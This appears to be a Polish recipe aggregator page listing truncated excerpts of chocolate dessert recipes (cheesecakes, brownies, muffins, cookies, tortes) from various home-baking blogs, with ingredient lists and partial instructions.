czekoladowe ,bez dominującego smaku buraka babeczki .Rozpływają się w ustach . Napewno warto je upiec .Dodałam bitą śmietanę i oprószyłam je buraczanym pudrem. Składniki: na 12 dużych babeczek 200 g czekolady gorzkiej 3 jajka 100 g cukru trzcinowego brązowego 100 ml oleju 100 g mąki 0,5 łyżeczki sody oczyszczonej 0,5 łyżeczki proszku do pieczenia 200 g zmielonych migdałów(...)ugotowanych buraków ,obranych i utartych na tartce o najmniejszych oczkach – sok odcisnąć Czekoladę roztapiamy w kąpieli wodnej i ostudzić . Jajka ubić z cukrem na puszysty krem ,dodać powoli olej . Następnie mąkę w trzech partiach przesianą z sodą i proszkiem do pieczenia oraz zmielonymi migdałami wmieszać delikatnie łyżką aby masa jajeczna nie opadła. Buraczki i rozpuszczoną czekoladę dodać na końcu

Ladylaura.
Kokosowe kuleczki 160

zostaw w komentarzu na facebooku. Fotografię opublikuję na facebookowym profilu Domowej cukierni Ewy :) Składniki: 200 g pokruszonych ciasteczek 175 g serka homogenizowanego waniliowego lub naturalnego 100 g białej czekolady 1 łyżeczka ekstraktu waniliowego wiórki kokosowe Czekoladę rozpuścić w kąpieli wodnej, odłożyć do wystudzenia. Ciasteczka bardzo drobno rozkruszyć, dodać serek homogenizowany, przestudzoną czekoladę i ekstrakt waniliowy. Wymieszać, a następnie ugnieść ręką

Domowa cukiernia Ewy
Bezowe ciastka z kremem 257

Ciastka bezowe przełożyłam lekkim kremem z mascarpone. Robi je się szybko, a jeszcze szybciej znikają z talerza! Bezowe ciastka można przełożyć kremem. Przygotowałam prosty krem z mascarpone i białej czekolady. Bezowe ciastka orzechowe Składniki: 32 ciastka 3 białka ½ łyżeczki cynamonu 150 g włoskich orzechów, zmielonych + 50 g drobno pokrojonych 250 g brązowego cukru 1 czubata łyżka ziemniaczanej mąki szczypta soli(...)Krem z mascarpone 125 g mascarpone 50 g białej czekolady Przygotuj krem. Mascarpone i rozpuszczona czekolada powinny być w pokojowej temperaturze. Wymieszaj krem i odstaw na bok. Nastaw piekarnik na 145ºC na termoobieg (bez termoobiegu 160ºC). Ubij białka na sztywno. Zmiel orzechy, a drugą porcję bardzo drobno pokrój. Wymieszaj orzechy z cynamonem, cukrem i ziemniaczaną mąką. Dodaj do piany

codojedzenia
Ciastka czekoladowe z orzechami włoskimi, rodzynkami i żurawiną 210

tych częstszych. (około 33 sztuk) 170g mąki pszennej  140g masła/margaryny 1 łyżeczka sody oczyszczonej 30g kakao 1 jajko 160g cukru 50g orzechów włoskich 50g czekolady białej 50g czekolady mlecznej   60g suszonej żurawiny 30g rodzynek (użyłam żółtych)  1 szczypta soli Masło z cukrem utrzeć do puszystości. Dodać mąkę przesianą z sodą oczyszczoną i kakao. Następnie wbić jajko(...)całość dokładnie wymieszać. (Masa będzie dość gęsta, więc warto użyć drewnianej łopatki lub zwykłej łyżki.) Do dokładnie połączonych składników - wsypać posiekane (obie) czekolady, bakalie oraz szczyptę soli. Masę ponownie wymieszać. Z ciasta formować kulki - wielkością przypominające orzech włoski. Kuleczki układać (w sporych odstępach) na blasze wyłożonej papierem do pieczenia. (Kulek nie trzeba spłaszczać. Podczas pieczenia same osiągną płaski kształt ciasteczka

Di gotuje
CZEKOLADOWY SERNIK NA ZIMNO Z WIŚNIAMI 245

piankowa czekoladowa masa. PYCHOTA!!!   SKŁADNIKI Spód herbatnikowy: 130 g  herbatników maślanych regionalnych , 60 g rozpuszczonego masła Masa serowa: 500 g sera twarogowego z wiaderka, 90 g gorzkiej czekolady, 1/2 szkl. śmietany 36%, 3-4 łyżki cukru pudru, 1/3 szkl. likieru czekoladowego Dalkowski , 4 łyżeczki żelatyny, 1/3 szkl. wrzątku Galaretka: 3/4 opakowania galaretki wiśniowej, słoik wiśni drylowanych w lekkim(...)malakserze. Mieszamy z wystudzonym masłem, aby powstał "mokry piasek". Tortownicę o średnicy 18 cm wykładamy folią spożywczą. Wysypujemy masę ciasteczkową, ugniatamy, wkładamy do lodówki na 30 min. Masa serowa: czekoladę rozpuszczamy w kąpieli wodnej. Żelatynę rozpuszczamy we wrzątku. Śmietanę ubijamy na sztywno, dodajemy cukier, następnie po łyżce twarogu. Dolewamy likier, dodajemy wystudzoną czekoladę oraz przestygniętą żelatynę, mieszamy dokładnie, wylewamy

słodki bratek
Czekoladowe Trufle z Awokado 170

przygotowaniu, a o ich smaku musicie przekonać się sami. Podpowiem jedynie, że się nie zawiedziecie a nawet je pokochacie :):) Polecam gorąco. Składniki: 2 dojrzałe awokado 250 g gorzkiej czekolady 1 łyżeczka ekstraktu z wanilii szczypta soli wiórki kokosowe do obtoczenia Awokado obieramy, usuwamy pestkę. Umieszczamy w blenderze, miksujemy do konsystencji papki. Czekoladę rozpuszczamy nad kąpielą wodną. Wlewamy do zblendowanego awokado

Made By Mom And Son
bajaderki 132

adsbygoogle = window.adsbygoogle || []).push({}); składniki na ok. 20 szt. małych: 150 g suchego biszkoptu lub biszkopcików lub dowolnego ciasta bez kremu 100 g powideł 50 g serka mascarpone 50 g czekolady 15 g masła 2-3 łyżki rumu lub dowolnego alkoholu opcjonalnie: bakalie dodatkowo: kakao drobno posiekane orzechy wykonanie: Masło roztapiamy z czekoladą. Biszkopt kruszymy rękami lub blenderem. Dodajemy powidła, serek(...)rozpuszczone masło z czekoladą oraz alkohol i opcjonalnie bakalie. Wszystko dokładnie mieszamy. Z gotowego ciasta formujemy kulki, mogą być małe wielkości orzecha włoskiego lub większe. Obtaczamy je w kakao lub drobno posiekanych orzechach. Schładzamy i przechowujemy w lodówce

Domowy Smak Jedzenia
Czekoladowe ciasto „Brookliński Blackout” 136

Mocno czekoladowe ciasto zwane „Brookliński Blackout”. Gęste, z dużą ilością kakao. Dla przełamania smaku czekolady można posmarować ciasto kwaskowatym dżemem lub na krem położyć świeże owoce. Przygotowałam je na 12 kwietnia, na dzień czekolady :). Podobno w latach 40-50-tych blackouty były codziennością nowojorczyków, były bardzo popularne na Brooklynie, gdzie przygotowywała je piekarnika „Ebinger Baking Company”, która słynęła(...)250g mąki pszennej (użyłam tortowej) 1 łyżeczka sody 1 łyżeczka proszku do pieczenia 50g kakao bez cukru szczypta soli Krem: 200g jasnego brązowego cukru 500ml tłustego mleka 220g gorzkiej czekolady o zawartości kakao minimum 60% 1 łyżka kakao bez cukru 60g mąki kukurydzianej 2 łyżeczki kawy rozpuszczalnej 1/4 łyżeczki aromatu waniliowego lub 2 łyżeczki ekstraktu waniliowego     Krem

Mała Cukierenka
Muffinki czekoladowo-bananowe z konfiturą truskawkową 118

przy akompaniamencie drugiej miłej Asi Rozsmakowałyśmy się w „mokrych” muffinkach z dodatkiem konfitury truskawkowej i domieszką bananów, mniam :* 45 minut 16 sztuk składniki: 100 g masła 100 g gorzkiej czekolady 100 g mlecznej czekolady 2 łyżeczki proszku do pieczenia 2 duże banany 200 g mąki pół szklanki marmolady truskawkowej 3 jajka 50 g brązowego cukru wykonanie: Masło, czekolady i cukier

Ania i Marcin gotują
Ciastka z masłem orzechowym, czekoladą i M&M'sami 149

kuchni . Ciasta są rewelacyjne i już podczas pieczenia - pachną tak cudownie, że trudno im się oprzeć.     Świetnie łączą w sobie płatki owsiane, masło orzechowe i pyszną czekoladę. Zresztą co ja będę pisała...? Sami się przekonajcie, bo są bardzo szybkie i łatwe w przygotowaniu. (14-15 sztuk) 60g masła + odrobina soli (ewentualnie masło solone) 75g cukru 90g masła orzechowego(...)użyłam z kawałkami orzeszków) 1 jajko (małe) 1/2 łyżeczki aromatu waniliowego/śmietankowego 1/4 łyżeczki sody oczyszczonej 80g maki pszennej 20g płatków zbożowych/owsianych 50g czekolady (użyłam nadziewanej) Dodatkowo: M&M'sy Masło z cukrem utrzeć do puszystości. Dodać masło orzechowe, jajko i po wymieszaniu - aromat waniliowy/śmietankowy. Następnie masę należy dokładnie połączyć z mąką i na końcu - z płatkami

Di gotuje
Słodkie środy - Sernik na zimno z niespodzianką 127

przygotowanie czegoś słodkiego dla najbliższych z racji mojego małego święta - o tak, świętowanie na słodko to podstawa. Przygotowałam serniczek na zimno w którym ukryłam pyszne ciepłe lody w czekoladzie. Jaki efekt? Przekonajcie się sami :)   Sernik na zimno z niespodzianką SKŁADNIKI : 1 kg sera twarogowego (wiadereczko) 3-4 galaretki cytrynowe 3 galaretki truskawkowe 20 szt zimnych lodów w czekoladzie(...)ptasie mleczko - stożki) 150-200 g truskawek  19-20 okrągłych biszkoptów PRZYGOTOWANIE : Dno tortownicy wykładamy biszkoptami, na każdym z biszkoptów układamy niespodziankę w postaci zimnych lodów w czekoladzie.  W 300 ml wrzącej wody rozrabiamy żółte galaretki - studzimy. Zimne galaretki wlewamy do sera i miksujemy. Masę serową wykładamy pomiędzy słodkie niespodzianki na biszkoptach. Na wierzch układamy truskawki.  Wkładamy

Kulinarny Świat Konczi i Szpileczki
Bezglutenowe fit brownie kojące nerwy 285

szklanka daktyli szklanka rodzynek/można użyć zamiennie daktyli pół szklanki mąki gryczanej pół szklanki mąki kukurydzianej 2 szklanki puree z dyni/batatów 100 g gorzkiej czekolady grubo posiekanej 1/3 szklanki karobu/kakao łyżka cynamonu szczypta soli pół łyżeczki gałki muszkatołowej opcjonalnie łyżeczka esencji waniliowej dodałam też około 3 łyżek surowego ziarna kakao (dopadłam w Biedronce) Przygotowanie: Namocz w gorącej wodzie rodzynki(...)daktyle (15 minut), po czym odsącz i zblenduj. Wszystkie składniki poza czekoladą i ziarnami kakao umieść w dużej misce i dokładnie wymieszaj. Dodaj resztę składników, przemieszaj. Przełóż masę do formy wyłożonej papierem do pieczenia. Picze około 50 minut w temp. 180 C.   Oczywiście, dla pełnej rozpusty możesz polać roztopioną gorzką czekoladą, bo kto Ci zabroni? Smacznego

greenscarf
PIEGUSKI PEŁNOZIARNISTE 165

Zdrowy deser na bazie płatków owsianych i mąki graham, z dodatkiem gorzkiej czekolady. Niezastąpione ciasteczka gdy najdzie nas ochota na coś słodkiego. Smakują rewelacyjnie z mlekiem lub kawą. Na drugie śniadanie i na przekąskę jak znalazł. Mąka graham zawiera więcej składników mineralnych niż inne mąki pszenne, witaminy z grupy B oraz błonnik, a także obniża poziom cholesterolu. Natomiast płatki owsiane(...)Młynomag , 1 szkl.  płatków owsianych pełnoziarnistych Cenos 1/3 szkl. cukru, 1 jajko, szczypta soli, ½ łyżeczki proszku do pieczenia, 1 łyżeczka cukru cynamonowego, 100 g kropelek czekoladowych ( z gorzkiej czekolady) WYKONANIE Miękkie masło ucieramy z cukrem, dodajemy jajko, ucieramy na puch Następnie dodajemy mąki, cukier cynamonowy oraz sól i proszek do pieczenia, mieszamy. Dodajemy płatki owsiane oraz czekoladę, delikatnie mieszamy

słodki bratek
Czekoladowa lawa paleo, bez glutenu i cukru. 167

się ramekin. Też nie wiedziałem co to jest mimo ładnych paru lat w kuchni, ale od czego jest internet Składniki: (na 3szt.) 70 g masła klarowanego 180 g gorzkiej czekolady 2 łyżki mąki migdałowej 2 jajka 2 żółtka 1 łyżka kakao 2-3 łyżek miodu (ja użyłem dwóch i dla mnie było mega słodkie) szczypta soli Przygotowanie: Ramekiny dokładnie smarujemy(...)masłem. Roztapiamy czekoladę oraz masło w garnuszku. W misce mieszamy mąkę migdałową, kakao i sól. Jajka i żółtka ubijamy, dodajemy miód i mieszamy, aż się połączą. Dodajemy rozpuszczoną czekoladę, a potem dosypujemy połączone wcześniej sypkie składniki. Wlewamy naszą miksturę do ramekinów, odstawiamy na 30 minut do lodówki. Potem pieczemy w 180 stopniach około 15-20 minut w kąpieli wodnej (wstawiamy

PaleoLife
"Stefan" - ciasto bez pieczenia 212

przepis na Stefana czyli ciasto z tych samych składników ale w odwrotnej wersji. Zamiast kakaowej masy w herbatnikach mamy kakaowe herbatniki z jasną masą kakaową. A całość polałam rozpuszczoną czekoladą orzechową, która pasowała tutaj idealnie i nadawała wspaniały chrupiący smak. Jeśli lubicie kokos i ciasta o zwartej konsystencji to koniecznie musicie je zrobić, na pewno Wam zasmakuje.  *blaszka(...)Składniki: 40 sztuk herbatników kakaowych 1,5 l mleka 1.5 szklanki kaszy manny 1,5 szklanki cukru 3/4 szklanki drobnych wiórek kokosowych 300 g masła 200 g  czekolady mlecznej z kawałkami orzechów 1/4 szklanki śmietanki kremówki (lub ewentualnie mleka) Blaszkę wyścielić papierem do pieczenia, dno wyłożyć połową herbatników. Kaszę mannę wymieszać z cukrem i kokosem.  Mleko zagotować

Domowa Cukierenka-Domowa Kuchnia
Tort Rafaello z truskawkami 224

szklanki mąki ziemniaczanej 1 szklanka cukru Masa Raffaello: 1 puszka mleka kokosowego (400 ml) 75 g wiórków kokosowych 0,5 szklanki cukru pudru 750 g serka mascarpone 2 czekolady po 100 g 4 łyżki likieru kokosowego Frużelina owocowa (frużelinę możemy zrobić z innych owoców:  jagód, brzoskwiń, malin): 20 świeżych truskawek  1 łyżka soku z cytryny trochę startej skórki(...)kokosowe  i tak gotujemy 30 minut od czasu do czasu mieszając.  Gdy wiórki wchłoną całe mleko dodajemy likier kokosowy.  Odstawiamy z ognia i dodajemy połamaną białą czekoladę.  Mieszamy w celu rozpuszczenia czekolady i schładzamy w lodówce.  Serek mascarpone  miksujemy z cukrem pudrem,  dodajemy zimną masę kokosową.  Jeszcze raz wstawiamy do lodówki

Pyszności Słodkości
Rolada Bezowa Brzoza 169

ręcznikiem i czekamy ok 2 minut. Ściągamy ręcznik oraz pergamin z góry. Natomiast z pergaminem z pod spodu zaczynamy zwijać roladę. Zwiniętą roladę odstawiamy do ostygnięcia. Masa czekoladowa: 100g czekolady gorzkiej (jak największa zawartość kako) 50 g czekolady mlecznej 50 g mąki pszennej 500 ml mleka 6 żółtek 0,5 szklanki cukru pudru 1 kostka masła 200g Mleko zagotowujemy(...)osobnej miseczce rozdrabniamy czekolade i wstawiamy na 1 minute do mikrofalówki. Do zagotowanego mleka wlewamy masę jajeczną i zagotowujemy do zgęstnienia tj. ok 2 minuty. Do zagotowanej masy dodajemy czekoladę i energicznie mieszamy. Jeśli masa będzie zawierać czekoladowe grudki to proponuję przetrzeć przez sitko. Nakrywamy masę folią spożywczą i odstawiamy do wystygnięcia. Masło ucieramy na puch i łyżkami dodajemy masę

Moje Słodkie Piekiełko
Brownie z kremem limonkowym 179

zimę i na święta, na imieniny, urodziny i bez okazji. A potem zróbcie sobie nasze brownie i miejcie się tak świetnie, jak my się mamy! Składniki: 3 tabliczki gorzkiej czekolady (ok. 300 g) 1 kostka masła 3 jajka 1 szklanka cukru 3/4 szklanki mąki 1 szczypta soli 1 szklanka śmietanki 36% 250 g serka mascarpone 4 łyżki cukru pudru(...)limonki kakao Wykonanie: Czekoladę kruszycie i razem z masłem rozpuszczacie w kąpieli wodnej, studzicie. Jajka ubijacie mikserem z cukrem na jasną i puszystą masę. Dodajecie ostudzoną czekoladę, mąkę i sól, mieszacie do połączenia się składników. Przekładacie do foremki wyłożonej papierem do pieczenia i pieczecie ok. 20 minut w 160 st. C, potem jeszcze 10 minut w 180. Limonki szorujecie

GRUBY WAŁEK
Ciastka jeżyki 185

szklanki mąki pszennej (u mnie typ 450) - 1/2 szklanki cukru - 2 jajka - 100g margaryny - 3 łyżki śmietany 18% (oryginalnie kefir) - 1 łyżeczka proszku do pieczenia   dekoracja: - czekolada gorzka i mleczna - kolorowe cukrowe posypki   Forma: blacha z piekarnika Przygotowanie: Wszystkie składniki na ciasto umieszczam w misce. Margarynę siekam na mniejsze kawałki nożem. Następnie zagniatam ciasto ręcznie. Gotowe ciasto dzielę(...)piekarnika : 180 °C Czas pieczenia: około 20 minut/ po 15 minutach wyłączyć dolną grzałkę Ilościowo wychodzi ich tyle, by zmieściły się na jednej blasze. Podczas pieczenia przygotowuję polewę. Zamiast czekolady mlecznej można użyć niechcianych czekoladowych figurek ze świąt (zajączki, Mikołaje). Wszystkie czekolady łamiemy na mniejsze kawałki i rozpuszczamy razem w kąpieli wodnej.   Gdy ciastka ostygną, zaczynam dekorowanie. Na połowę

Kuchnia co dnia
Ciasto Uśmiech Klary 198

opakowania budyniu śmietankowego, 1 opakowanie cukru waniliowego Delecta, 2 łyżki cukru, 300g masła, 150g chałwy mlecznej, Dodatkowo: 100 ml mocnej kawy parzonej, 1 opakowanie okrągłych biszkoptów, 1 tabliczka gorzkiej czekolady, PRZYGOTOWANIE: 1. Biszkopt: Białka ubijam na sztywną pianę. Nie przerywając ubijania stopniowo dodaję cukier oraz żółtka. Następnie dodaję olej, ocet oraz mąkę wymieszaną z kakao, proszkiem do pieczenia i kawą(...)budyń. Dokładnie ucieram.  3. Dwie trzecie masy chałwowej wykładam na jeden blat biszkoptu. Wyrównuję i przykrywam drugim blatem biszkoptu. Na wierzchu rozsmarowuję pozostałą masę. Na masie układam biszkopty. Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodną. Na wierzchu ciasta robię z czekolady esy floresy. Gotowe ciasto wstawiam na godzinę do lodówki

Tradycyjna kuchnia Kasi
Trójkolorowy deser warstwowy z truskawkami 163

Cukry Nyskie ) 7 truskawek 400 ml gęstej śmietany do deserów (użyłam 22%) 2 łyżki cukru Dodatkowo:  9 bezików (mogą być kupne, przepis tu - klik ) 3 truskawki 3 kostki czekolady wiórki czekoladowe do posypania płatki migdałowe do posypania Opcjonalnie: cukier puder do oprószenia truskawek (w przypadku, gdy nie są słodkie) Śmietanę zmiksować z 2 łyżkami cukru. (Powinna być gęsta. Można(...)herbatniki (3) i wyłożyć resztę śmietany. (W przypadku, gdy truskawki są kwaśne - należy ich warstwę oprószyć cukrem pudrem.) Na wierzchu każdego deseru ułożyć po truskawce - uprzednio zamoczonej w roztopionej czekoladzie. Całość udekorować resztą rozpuszczonej czekolady, wiórkami czekoladowymi, płatkami migdałów i bezikami. Przed podaniem deser można schłodzić w lodówce (nie jest to obowiązkowe

Di gotuje
Ciasto czekoladowo –truskawkowe 189

pieczenia Biszkopt jasny: 3 jajka 3 łyżki cukru ½ szklanki mąki tortowej 1 łyżeczka mąki ziemniaczanej ½ łyżeczki proszku do pieczenia Krem czekoladowy: ½ litra śmietany kremówki 30% 15 dag gorzkiej czekolady 1-2 łyżki cukru pudru Krem truskawkowy: ½ litra śmietany kremówki 30% 20 dag mascarpone ½ szklanki musu truskawkowego 50 ml likieru truskawkowego użyłam  Dalkowski 1 łyżka żelatyny 3 łyżki cukru pudru(...)blachy jak piekliśmy ciemny biszkopt piec 20 minut w temp 160*c. Po upieczeniu wystudzić Masa czekoladowa: Śmietanę kremówkę przelać do rondelka podgrzać aby była dobrze ciepła, wkruszyć gorzką czekoladę odczekać chwilę aż czekolada zacznie się rozpuszczać, dokładnie wymieszać, wystygniętą masę włożyć na minimum 4 godziny do lodówki lub na całą noc. Następnego dnia dodać do masy cukier puder

Wanilia i Kardamon
Babeczki zajączki 224

wpis, już dawno po świętach, ale musiałam pokazać Wam te babeczki ;) Ile frajdy jest przy ich dekorowaniu! Rozkoszne, trochę nieforemne kształty, które mają przypominać zajączki ;) Waniliowe muffinki z kawałkami czekolady, udekorowane ubitą śmietanka i kruchymi, maślanymi ciasteczkami. Robione razem z bliską mi osobą, która ostatnio przechodzi gorsze chwile i która sama stwierdziła, że samo pieczenie i dekorowanie poprawiło jej nastrój(...)szklanki mąki pszennej 250 ml mleka 75 ml oleju 1/2 szklanki cukru 2 jajka 2 łyżeczki proszku do pieczenia Delecta 2 łyżeczki cukru wanilinowego Delecta 100 g gorzkiej czekolady W jednym naczyniu połączyć suche składniki, czyli mąkę, cukier, cukier wanilinowy i proszek do pieczenia, w drugim natomiast składniki mokre - mleko, olej i roztrzepane jajka. Suche składniki dodać do mokrych, całość

Domowa cukiernia Ewy
Pierniczki nadziewane w polewie czekoladowej - ciąg dalszy 152

Pięć tygodni temu zagniataliśmy ciasto na pierniki dojrzewające, a dziś pora by je upiec :-) Zgodnie z obietnicą, nie będę piekła dużego piernika, ale małe serduszka oblane czekoladą. A więc... Teraz będziemy potrzebować ciasta (co oczywiste!), powideł i polewy czekoladowej. Najprostszy sposób to: 5 - 6 łyżek mleka i 200 g mlecznej lub gorzkiej czekolady. Mleko doprowadzamy do wrzenia, a następnie dodajemy(...)pokruszoną czekoladę i rozpuszczamy. Chwilę podgrzewamy żeby całość zgęstniała - gotowe :-) Wyjmujemy ciasto z lodówki, dzielimy na mniejsze części i każdą z nich (po kolei) rozwałkowujemy na stolnicy posypanej mąką na placek o grubości 3 - 4 mm. Na części zaznaczamy kształty foremką do wycinania pierniczków (nie dociskamy jej do końca, a jedynie dotykamy powierzchni ciasta - orientacyjnie, żeby wiedzieć gdzie kłaść nadzienie

Czary - gary w kuchni
Piernik marchewkowy 119

łyżki przyprawy do piernika 1 łyża kakao 1 łyżeczka proszku do pieczenia 1 łyżeczka sody skórka otarta z jednej pomarańczy (dużej i wcześniej sparzonej) Polewa: 50 g gorzkiej czekolady 50 g mlecznej czekolady 4 łyżki mleka Mąkę, proszek, sodę, przyprawę do piernika i kakao mieszamy razem. W osobnej misce miksujemy na najwyższych obrotach miksera jajka, olej i cukier. Następnie dodajemy(...)stopni. Pieczemy ok. 1 godziny (do suchego patyczka). Upieczone ciasto wyjmujemy z foremki i odstawiamy do wystygnięcia.  Mleko podgrzewamy w rondelku, dodajemy połamaną na mniejsze kawałki czekoladę i dokładnie mieszamy aż do jej rozpuszczenia i zgęstnienia masy. Gotową polewą polewamy przestudzone ciasto

Czary - gary w kuchni
Sernik zebra (na zimno) 277

Ostatnio był Dzień Czekolady, więc zajadaliśmy się czekoladowym sernikiem bez pieczenia, a dokładniej sernikiem z efektem zebry na zimno. Sernik wyszedł pyszny, bo został zrobiony z mojego ulubionego serka ;) Składniki: 400 g serka "Mój ulubiony", 300 ml śmietanki 30%, 70 g gorzkiej czekolady, 4-5 łyżek cukru pudru, 3 garście biszkoptów okrągłych, 2-3 łyżki masła, 1,5 opakowania żelatyny(...)wrzątku i 100 ml zimnej wody. Żelatynę miksujemy z wodą, dodajemy łyżkę serka. Powoli wlewamy da masy serowej i ponownie miksujemy.  W rondelku na małym ogniu rozpuszczamy czekoladę. Masę dzielimy na części- 1/4 i 3/4 masy. Gdy ostygnie, przekładamy ją do 3/4 masy i mieszamy łopatką.  Biszkopty łamiemy i mieszamy z rozpuszczonym masłem. Do tortownicy o średnicy

Aga w kuchni
Mus kawowo-czekoladowy z trzech składników. 114

smaczny ,wytrawny,bez grama cukru . Odrobina śmietanki i truskawki równoważą tę słodycz .Zakochasz się od pierwszej łyżeczki … Składniki : na 4 porcje 250 ml śmietany kremówki 100 g gorzkiej czekolady 20 ml mocnego espresso Najpierw przygotowujemy mocne espresso ,odstawiamy. Na garnku z wodą wrzącą umieszczamy miseczkę z połamaną czekoladą,tak aby nie dotykała wody od spodu . Mieszamy do rozpuszczenia czekolady

Ladylaura.
Bajaderki 127

wtedy? Wyrzucić? NIE!! W bardzo łatwy sposób możemy zmienić je w pyszne małe ciacha :) Wystarczy zmielić takie ciasto, wymieszać z dżemem lub kremem czekoladowym, uformować kulki, polać czekoladą i wcinać :D Zapewniam, że mało kto się zorientuje, że to słodkości z "odpadków" ;) Składniki: (podane proporcje są przykładowe, najlepiej jest dodawać wszystkie składniki "na oko", ponieważ każde ciasto(...)cukru 50 g masła łyżka alkoholu do smaku marmolada/dżem owocowy/powidła/krem czekoladowy typu Nutella  bakalie: rodzynki/morele/żurawina itp. (opcjonalnie) Dodatkowo: wiórki kokosowe/siekane orzechy włoskie 200 g czekolady mlecznej/gorzkiej 2 łyżki masła Przygotowanie: Bakalie namoczyć w ciepłej wodzie/herbacie/alkoholu. Ciasto pokruszyć/zmielić w maszynce do mielenia albo blenderze. Dodać bakalie, dżem/krem czekoladowy i 1 łyżkę alkoholu

Malinowo w kuchni
Ciasteczka z kajmakiem i kawałkami czekolady 116

wiedzieliście, że dziś jest najsłodszy dzień w całym roku? :) Nie? 12 kwietnia to „Dzień Czekolady” :D Nie zdziwi Was zatem fakt, że musiałam przygotować jakiś smakołyk z jej dodatkiem. Padło na wyjątkowo pyszne ciasteczka z kajmakiem i kawałkami czekolady. Ich przygotowanie jest bardzo proste i szybkie. Wystarczy tak naprawdę wymieszać razem wszystkie składniki i gotowe! Potem tylko formowanie i pieczenie(...)mąki pszennej 280 g kajmaku (masy krówkowej) 280 g masła (miękkiego) 10-11 łyżek cukru 200 g czekoladowych groszków (tzw. chocolate chips) lub dość grubo posiekanej czekolady gorzkiej lub mlecznej (albo pół na pół) 1 łyżka ekstraktu z wanilii Wykonanie: Masło, cukier oraz masę kajmakową umieszczamy w misce i miksujemy na gładką masę. Następnie dodajemy przesianą mąkę, ekstrakt z wanilii

MyCookBook.pl
Szarlotka królewska 225

prażonych jabłek * 2 galaretki cytrynowe Masa mleczna 160 g mleka w proszku 140 g cukru pudru 250 g masła 2 żółtka 9 łyżek zimnej wody Polewa czekoladowa 150 g czekolady mlecznej 5 łyżek mleka 1 łyżka masła Biszkopt Białka oddzielamy od żółtek, dodajemy sól i ubijamy na sztywną pianę. Pod koniec ubijania stopniowo dodajemy cukier, nie przerywając ubijania. Następnie dodajemy(...)łyżce masy mlecznej i mieszamy do uzyskania gładkiego kremu. Masę wykładamy na jabłka i równamy. Chłodzimy w lodówce. Polewa czekoladowa Do rondelka wlewamy mleko, dodajemy masło i połamaną czekoladę. Cały czas mieszając podgrzewamy do momentu, aż czekolada się rozpuści i powstania gładka polewa. Tak przygotowana polewą dekorujemy ciasto. by Małgorzata Hert Wędrówki po kuchni http://www.wedrowkipokuchni.com.pl

Wędrówki po kuchni
Tort Rocher wg Aleex 159

pszennej • 40 g kakao • 200 g zmielonych orzechów laskowych • 1 płaska łyżeczka proszku do pieczenia • szczypta soli Krem Rocher: • 400 g serka mascarpone • 400 g nutelli • 100 g mlecznej czekolady • pół szklanki posiekanych orzechów laskowych Krem śmietankowy: • 500 ml śmietany kremówki 36% • 100 g serka mascarpone • 2 łyżki cukru pudru • 1 łyżeczka żelatyny Do nasączenia: • 1/2 szklanki likieru orzechowego(...)Przygotować poncz: Jeśli używamy wódki, alkohol wymieszać pół na pół z przegotowaną, ostudzoną wodą. Jeśli stosujemy słabszy likier, użyć 2/3 alkoholu i 1/3 wody. 9. 100 g mlecznej czekolady rozpuścić w kąpieli wodnej, ostudzić. 10. Orzechy laskowe podpiec na suchej patelni, ostudzić. Posiekać, aby otrzymać ½ szklanki orzechów, które dodamy do kremu Rocher. 11. Przygotować krem Rocher: do misy miksera włożyć

W mojej kuchni
Śnieżny sernik z mlekiem skondensowanym wg Aleex 257

inspirowany przepisem z Kwestii smaku . Sernik jest pyszny, delikatny, kremowy i bardzo ciekawy w smaku. Ja podałam go z brzoskwinią, ale można serwować go z musem śliwkowym, makowym lub czekoladą. Polecam. Składniki: Spód: • 1 paczka (około 250 g) ciastek pełnoziarnistych Digestive z czekoladą • 4 - 5 pełnych łyżek kremu orzechowo - czekoladowego • 2 łyżki roztopionego masła Masa serowa: • 750 g twarogu trzykrotnie(...)ostudzić. Zdjąć obręcz z tortownicy i wstawić sernik do lodówki (bez przykrycia) na minimum 6 godzin, a najlepiej na całą noc. 11. Podawać z owocami, musem śliwkowym, makowym lub czekoladą. Smacznego

W mojej kuchni
Florentynki wg Aleex 212

skórki pomarańczowej • 100 g suszonej żurawiny • 200 g migdałów w słupkach • 50 g mąki pszennej • 120 g masła • 120 g cukru • 50 ml śmietany kremówki 30% Dodatkowo: • 200 g czekolady mlecznej lub gorzkiej Sposób przygotowania: 1. Do rondelka włożyć masło i cukier. Podgrzewać, aż składniki prawie zupełnie się rozpuszczą (cukier będzie trochę wyczuwalny). Zdjąć z palnika, wlać śmietanę kremówkę, odstawić(...)piekarnika, jeszcze ciepłe wycinać okrągłą foremką do deserów (dzięki temu będą idealnie równe), pozostawić na blaszce do przestudzenia (dopiero wtedy się skleją). 7. Wystudzone ciastka od spodu posmarować roztopioną czekoladą i odkładać do stężenia czekolady. 8. Ciastka można przechowywać do 10 dni w szczelnym pojemniku. Smacznego

W mojej kuchni
Sernik z makiem wg Aleex 154

pieczenia • 65 g kaszy manny • 3 jajka • 3 dag stopionego masła • 16 g cukru waniliowego Uwaga: można użyć gotowej masy makowej z puszki Dodatkowo: • ½ tabliczki mlecznej lub deserowej czekolady • 1 łyżka mleka Sposób przygotowania: 1. Mąkę, oba rodzaje cukru, sól wymieszać w misce. Dodać masło i jajka oraz, porcjami, mleko. Zagnieść elastyczne ciasto. 2. Tortownicę o średnicy 26 cm wyłożyć(...)serowej i makowej. 6. Piec około 1 godziny w temperaturze 175 – 180 stopni C. Zostawić na 20 minut w wyłączonym, ale zamkniętym piekarniku. 7. Wyjąć i ostudzić. 8. Czekoladę rozpuścić w kąpieli wodnej, wymieszać z mlekiem. Czekoladą ozdobić wierzch sernika z makiem. 9. Podawać z filiżanką aromatycznej kawy. Smacznego

W mojej kuchni
Ciasto czekoladowe ze śliwkami wg Aleex 125

cukru pudru. Do tego łyk kawy i …. czego chcieć więcej? Polecam. Składniki: • 200 g miękkiego masła • 1 szklanka drobnego cukru • 3 duże roztrzepane jajka • 150 g deserowej lub gorzkiej czekolady • 280 g mąki • 1 łyżeczka sody • 3/4 łyżeczki proszku do pieczenia • 2 łyżki mleka • 3 duże śliwki • cukier puder Sposób przygotowania: 1. Piekarnik rozgrzać do 180 stopni. Okrągłą formę(...)drobnym cukrem na puszystą jasną masę. Stopniowo dodawać jajka, cały czas dokładnie ubijając. 3. Do drugiej miski przesiać mąkę z sodą oraz proszkiem do pieczenia i dokładnie wymieszać. 4. Czekoladę rozpuścić w kąpieli wodnej. 5. Do utartej masy maślano – jajecznej dodać roztopioną i ostudzoną czekoladę oraz mleko, delikatnie wymieszać. 6. Dodać mieszankę mąki i wszystko zmiksować, aż składniki się połączą

W mojej kuchni
